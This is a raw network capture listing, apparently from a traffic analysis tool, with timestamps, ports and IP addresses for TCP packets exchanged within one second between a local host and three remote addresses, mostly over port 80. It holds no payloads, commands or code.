Nov 16, 2024 23:36:39.692215919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692231894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692246914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692260027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692260027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692271948 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.692297935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692332029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692361116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692363977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692387104 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692394018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692426920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692460060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692473888 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692512035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692544937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692548037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692569017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692579985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692610025 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692646027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692665100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692677021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692714930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692765951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692799091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692831039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692833900 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692856073 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692876101 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692903042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.692950010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.692956924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693006992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693041086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693068981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693074942 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693094969 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693109989 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693114996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693141937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693166971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693177938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693212986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693221092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693221092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693248034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693284988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693299055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693300962 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693356991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693389893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693423033 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693425894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693443060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693455935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693487883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693520069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693535089 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693538904 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693568945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693615913 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.693622112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693630934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693646908 CET	443	49916	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.693658113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693691015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693698883 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.693707943 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693742037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693743944 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693770885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693789005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693821907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693831921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693876028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693908930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693912029 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.693933010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693937063 CET	443	49916	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.693943977 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.693953037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693993092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.693995953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694031954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694075108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694109917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694137096 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694143057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694178104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694179058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694227934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694230080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694279909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694313049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694330931 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694348097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694355965 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694381952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694415092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694425106 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694448948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694483995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694518089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694519997 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.694525957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694534063 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.694552898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694581032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694631100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694631100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694633007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694669962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694701910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694731951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694736004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694772959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694796085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694828987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694854975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694864035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694891930 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694897890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694911003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694932938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694957972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.694962978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.694977045 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695015907 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695023060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695058107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695090055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695116997 CET	443	49916	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.695142984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695153952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695153952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695188046 CET	443	49915	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.695192099 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.695202112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695209980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695245028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695278883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695308924 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695348024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695348024 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695383072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695420980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695473909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695491076 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695524931 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695557117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695584059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695602894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695668936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695700884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695734024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695769072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695796967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695804119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695838928 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695854902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695871115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695887089 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695904970 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695913076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695934057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695960999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695969105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.695980072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.695991993 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.696010113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696021080 CET	443	49915	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.696022987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696073055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696094990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696106911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696141005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696146965 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.696173906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696193933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696193933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696217060 CET	443	49916	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.696228027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696263075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696275949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696296930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696322918 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696322918 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696332932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696358919 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696366072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696379900 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696402073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696408987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696434021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696469069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696497917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696497917 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696513891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696532011 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696538925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696567059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696595907 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696598053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696634054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696650982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696664095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696693897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696698904 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696712017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696733952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696736097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696768045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696804047 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696820021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696856022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696888924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696934938 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.696943045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.696994066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697029114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697066069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697093010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697101116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697113037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697134972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697151899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697170019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697199106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697226048 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697232008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697249889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697267056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697299004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697314978 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697331905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697370052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697423935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697448015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697531939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697583914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697597980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697613001 CET	443	49915	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.697617054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697669983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697680950 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.697705030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697705984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697731972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697738886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697767973 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697774887 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697782993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697824001 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697827101 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697879076 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697906971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697938919 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697940111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.697957039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.697976112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698009968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698028088 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698069096 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698101044 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698124886 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698134899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698168039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698193073 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698204041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698223114 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698237896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698241949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698271990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698302031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698321104 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698355913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698404074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698456049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698473930 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:39.698486090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698497057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698497057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698529959 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698539972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698581934 CET	443	49915	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:39.698590040 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698623896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698625088 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698646069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698673964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698725939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698725939 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698756933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698808908 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698828936 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698859930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698890924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698908091 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698925972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698939085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.698960066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.698966980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699001074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699038982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699059963 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699070930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699105978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699139118 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699156046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699156046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699259996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699299097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699353933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699387074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699398041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699426889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699475050 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699507952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699548006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699572086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699594975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699594975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699609995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699619055 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699626923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699641943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699647903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699656963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699666977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699671984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699687958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699697018 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699703932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699723005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699743986 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.699760914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699770927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.699780941 CET	80	49824	185.215.113.206	192.168.2.5
